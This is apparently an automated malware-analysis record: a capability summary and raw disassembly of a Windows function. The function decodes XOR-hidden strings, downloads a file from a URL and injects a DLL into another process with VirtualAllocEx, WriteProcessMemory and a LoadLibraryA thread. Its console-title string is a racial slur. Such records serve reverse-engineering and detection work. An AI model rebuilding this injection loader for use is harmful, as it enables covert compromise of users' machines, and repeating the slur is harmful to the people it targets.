Function at 0x140002ee0
Capabilities:
Allocate or change rwx memory
Check internet connectivity via wininet
Download url
Encode data using xor
Enumerate processes
Execute command
Receive data
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov byte [rbp + 0xd0], 0x1e
mov al, 0x4c
mov cl, 0x6b
mov dl, 0x6d
movzx r8d, dl
mov r9b, 0x77
mov r10b, 0x7f
mov r11b, 0x70
xor ebx, ebx
xor al, 0x1e
mov byte [rbp + 0xd1], al
xor cl, 0x1e
mov byte [rbp + 0xd2], cl
xor dl, 0x1e
mov byte [rbp + 0xd3], dl
xor r8b, 0x1e
mov byte [rbp + 0xd4], r8b
xor r9b, 0x1e
mov byte [rbp + 0xd5], r9b
xor r10b, 0x1e
mov byte [rbp + 0xd6], r10b
xor r11b, 0x1e
mov byte [rbp + 0xd7], r11b
mov byte [rbp + 0xd8], bl
lea rdx, [rbp + 0xd1]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rdx, str.nigger228
lea rcx, [rsp + 0x30]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400014d0
cmp qword [rax + 0x18], 0xf
jbe 0x140002fb6
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002ffd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ff8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ff8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b5c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x140006880]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400068a0]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x4082809e
mov word [rsp + 0x54], 0x4040
xor eax, eax
mov byte [rsp + 0x56], al
xor r15d, r15d
mov ecx, r15d
nop
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x25
jb 0x140003040
mov byte [rsp + 0x56], bl
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov rcx, rax
lea rdx, [0x140004600]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.https:__google.com_
lea rcx, [rsp + 0x30]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400014d0
cmp qword [rax + 0x18], 0xf
jbe 0x1400030b6
mov rax, qword [rax]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
setne al
mov byte [0x14000a97c], al
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003116
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000310a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000310a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b5c
movzx eax, byte [0x14000a97c]
test al, al
jne 0x140003308
movdqa xmm1, xmmword [str.tT]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140006890]
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1400068b0]
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmm4, xmmword [0x1400068c0]
movdqa xmmword [rsp + 0x60], xmm4
mov dl, 0x86
mov r8b, 0x91
mov r9b, 0x84
mov r10b, 0x99
movzx r11d, r8b
movzx ebx, dl
mov dil, 0x9a
mov sil, 0x98
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm4
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor dl, cl
mov byte [rsp + 0x70], dl
xor r8b, cl
mov byte [rsp + 0x71], r8b
xor r9b, cl
mov byte [rsp + 0x72], r9b
xor r10b, cl
mov byte [rsp + 0x73], r10b
xor r11b, cl
mov byte [rsp + 0x74], r11b
xor bl, cl
mov byte [rsp + 0x75], bl
xor dil, cl
mov byte [rsp + 0x76], dil
xor sil, cl
mov byte [rsp + 0x77], sil
mov byte [rsp + 0x78], r15b
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov rcx, rax
lea rdx, [0x140004600]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm1, xmmword [0x140006860]
movdqu xmmword [rbp + 0xd0], xmm1
mov dl, 0xb2
mov r8b, 0x93
mov r9b, 0x86
mov r10b, 0x8f
mov r11b, 0x42
mov bl, 0x58
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0xd1], al
xor byte [rbp + 0xd2], cl
xor byte [rbp + 0xd3], cl
xor byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], cl
xor byte [rbp + 0xd6], cl
xor byte [rbp + 0xd7], cl
xor byte [rbp + 0xd8], cl
xor byte [rbp + 0xd9], cl
xor byte [rbp + 0xda], cl
xor byte [rbp + 0xdb], cl
xor byte [rbp + 0xdc], cl
xor byte [rbp + 0xdd], cl
xor byte [rbp + 0xde], cl
xor byte [rbp + 0xdf], cl
xor dl, cl
mov byte [rbp + 0xe0], dl
xor r8b, cl
mov byte [rbp + 0xe1], r8b
xor r9b, cl
mov byte [rbp + 0xe2], r9b
xor r10b, cl
mov byte [rbp + 0xe3], r10b
xor r11b, cl
mov byte [rbp + 0xe4], r11b
xor bl, cl
mov byte [rbp + 0xe5], bl
mov byte [rbp + 0xe6], r15b
lea rdx, [rbp + 0xd1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004640
lea rcx, [rsp + 0x30]
call fcn.1400041f0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400012b0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003447
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003442
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004b5c
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400067f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov ecx, 0x578
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140006960]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140006950]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140006940]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x24e1ffe9
mov dword [rsp + 0x64], 0xe1f524f5
mov dword [rsp + 0x68], 0xf4e1e6f4
mov word [rsp + 0x6c], 0xe4
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x32], al
add rcx, 2
cmp rcx, 0x3c
jb 0x1400034d0
mov byte [rsp + 0x6d], r15b
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov rcx, rax
lea rdx, [0x140004600]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x514
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0xd0], 0x63
mov al, 0x3f
mov cl, 0x15
mov dl, 0xa
mov r8b, 1
mov r9b, 6
mov r10b, 0x11
mov r11b, 0x4d
mov bl, 7
mov dil, 0xf
movzx esi, dil
xor r14d, r14d
xor al, 0x63
mov byte [rbp + 0xd1], al
xor cl, 0x63
mov byte [rbp + 0xd2], cl
xor dl, 0x63
mov byte [rbp + 0xd3], dl
xor r8b, 0x63
mov byte [rbp + 0xd4], r8b
xor r9b, 0x63
mov byte [rbp + 0xd5], r9b
xor r10b, 0x63
mov byte [rbp + 0xd6], r10b
xor r11b, 0x63
mov byte [rbp + 0xd7], r11b
xor bl, 0x63
mov byte [rbp + 0xd8], bl
xor dil, 0x63
mov byte [rbp + 0xd9], dil
xor sil, 0x63
mov byte [rbp + 0xda], sil
mov byte [rbp + 0xdb], r14b
lea rax, [rbp + 0xd1]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1400035c0
lea rdx, [rbp + 0xd1]
call fcn.140004050
lea rbx, [0x14000a9a8]
mov rcx, rbx
cmp qword [0x14000a9c0], 0xf
cmova rcx, qword [0x14000a9a8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rsi, [0x14000a988]
mov r8, rsi
cmp qword [0x14000a9a0], 0xf
cmova r8, qword [0x14000a988]
cmp qword [0x14000a9c0], 0xf
cmova rbx, qword [0x14000a9a8]
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [0x14000a978], eax
test eax, eax
je 0x1400037c8
movdqa xmm1, xmmword [0x140006980]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140006970]
movdqu xmmword [rsp + 0x40], xmm2
mov cl, 0xe6
mov dl, 0xf1
mov r8b, 0xf5
mov r9b, 0x3d
mov r11b, 0xec
mov bl, 0xf8
mov dil, 0xed
mov sil, 0xff
movzx r14d, bl
movzx r15d, dil
mov r12b, 0xfd
movzx r13d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
movd eax, xmm2
xor al, r10b
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], r10b
xor byte [rsp + 0x42], r10b
xor byte [rsp + 0x43], r10b
xor byte [rsp + 0x44], r10b
xor byte [rsp + 0x45], r10b
xor byte [rsp + 0x46], r10b
xor byte [rsp + 0x47], r10b
xor byte [rsp + 0x48], r10b
xor byte [rsp + 0x49], r10b
xor byte [rsp + 0x4a], r10b
xor byte [rsp + 0x4b], r10b
xor byte [rsp + 0x4c], r10b
xor byte [rsp + 0x4d], r10b
xor byte [rsp + 0x4e], r10b
xor byte [rsp + 0x4f], r10b
xor cl, r10b
mov byte [rsp + 0x50], cl
xor dl, r10b
mov byte [rsp + 0x51], dl
xor r8b, r10b
mov byte [rsp + 0x52], r8b
xor r9b, r10b
mov byte [rsp + 0x53], r9b
xor r11b, r10b
mov byte [rsp + 0x54], r11b
xor bl, r10b
mov byte [rsp + 0x55], bl
xor dil, r10b
mov byte [rsp + 0x56], dil
xor sil, r10b
mov byte [rsp + 0x57], sil
xor r14b, r10b
mov byte [rsp + 0x58], r14b
xor r15b, r10b
mov byte [rsp + 0x59], r15b
xor r12b, r10b
mov byte [rsp + 0x5a], r12b
xor r13b, r10b
mov byte [rsp + 0x5b], r13b
mov al, 0x17
xor al, r10b
mov byte [rsp + 0x5c], al
mov byte [rsp + 0x5d], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov ecx, 0xa28
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.VV]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400068f0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140006870]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xa7acbfb4
mov dword [rsp + 0x64], 0x1d081b7c
xor eax, eax
mov byte [rsp + 0x68], al
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x37
jb 0x140003820
mov byte [rsp + 0x68], r14b
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov ecx, 0x76c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x60], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x14000395a
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x14000395a
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + 0xd0], 0x3b
mov al, 0x7c
mov cl, 0x6f
mov dl, 0x7a
mov r8b, 0xe
mov r9b, 0x15
mov r10b, 0x5e
mov r11b, 0x43
movzx ebx, r10b
xor r14d, r14d
xor al, 0x3b
mov byte [rbp + 0xd1], al
xor cl, 0x3b
mov byte [rbp + 0xd2], cl
xor dl, 0x3b
mov byte [rbp + 0xd3], dl
xor r8b, 0x3b
mov byte [rbp + 0xd4], r8b
xor r9b, 0x3b
mov byte [rbp + 0xd5], r9b
xor r10b, 0x3b
mov byte [rbp + 0xd6], r10b
xor r11b, 0x3b
mov byte [rbp + 0xd7], r11b
xor bl, 0x3b
mov byte [rbp + 0xd8], bl
mov byte [rbp + 0xd9], r14b
lea rdx, [rbp + 0xd1]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140003944
mov r8d, dword [rbp - 0x58]
lea edx, [rax + 1]
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14000a980], rax
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x1400038a0
mov rbx, qword [0x14000a980]
test rbx, rbx
je 0x140003e47
cmp qword [0x14000a9a0], 0xf
cmova rsi, qword [0x14000a988]
test rbx, rbx
je 0x140003a6e
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
lea rcx, [rbp + 0xf0]
call fcn.140002890
nop
cmp qword [rbp + 0x180], 0
je 0x140003a16
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r14, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r14
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140003a16
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
test eax, eax
jne 0x140003d7a
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x100]
call fcn.1400027b0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [str._rc_a_V_P_]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140006930]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1400069c0]
movdqu xmmword [rsp + 0x50], xmm3
mov r8b, 0xeb
mov r9b, 0xe7
mov r10b, 0xfe
mov r11b, 0x2c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], dl
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
movd eax, xmm3
xor al, dl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor r8b, dl
mov byte [rsp + 0x60], r8b
xor r9b, dl
mov byte [rsp + 0x61], r9b
xor r10b, dl
mov byte [rsp + 0x62], r10b
xor r11b, dl
mov byte [rsp + 0x63], r11b
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x1400069b0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140006910]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140006990]
movdqu xmmword [rsp + 0x50], xmm3
mov r8b, 0xfe
mov r9b, 0xed
mov r10b, 0xe6
mov r11b, 0x3c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], dl
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
movd eax, xmm3
xor al, dl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor r8b, dl
mov byte [rsp + 0x60], r8b
xor r9b, dl
mov byte [rsp + 0x61], r9b
xor r10b, dl
mov byte [rsp + 0x62], r10b
xor r11b, dl
mov byte [rsp + 0x63], r11b
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x258
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x2bc
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x708
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140004b00
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0xd0], r15d
mov r8, rdi
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.1400019c0
mov rsi, rax
test rax, rax
jne 0x140003da0
mov rcx, rbx
jmp 0x140003a03
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0xd0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
cmp dword [rbp + 0xd0], 0
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x100]
je 0x140003a4f
call fcn.1400027b0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140003bc2
lea rcx, [0x1400067dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x1400069a0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140006840]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140006920]
movdqu xmmword [rsp + 0x50], xmm3
mov cl, 0xeb
mov dl, 0xf7
mov r8b, 0xf5
mov r9b, 0xf6
mov r11b, 0xec
movzx ebx, r9b
mov dil, 0xe1
mov sil, 0x24
movzx r14d, r11b
mov r15b, 0xe7
mov r12b, 0xf4
movzx r13d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
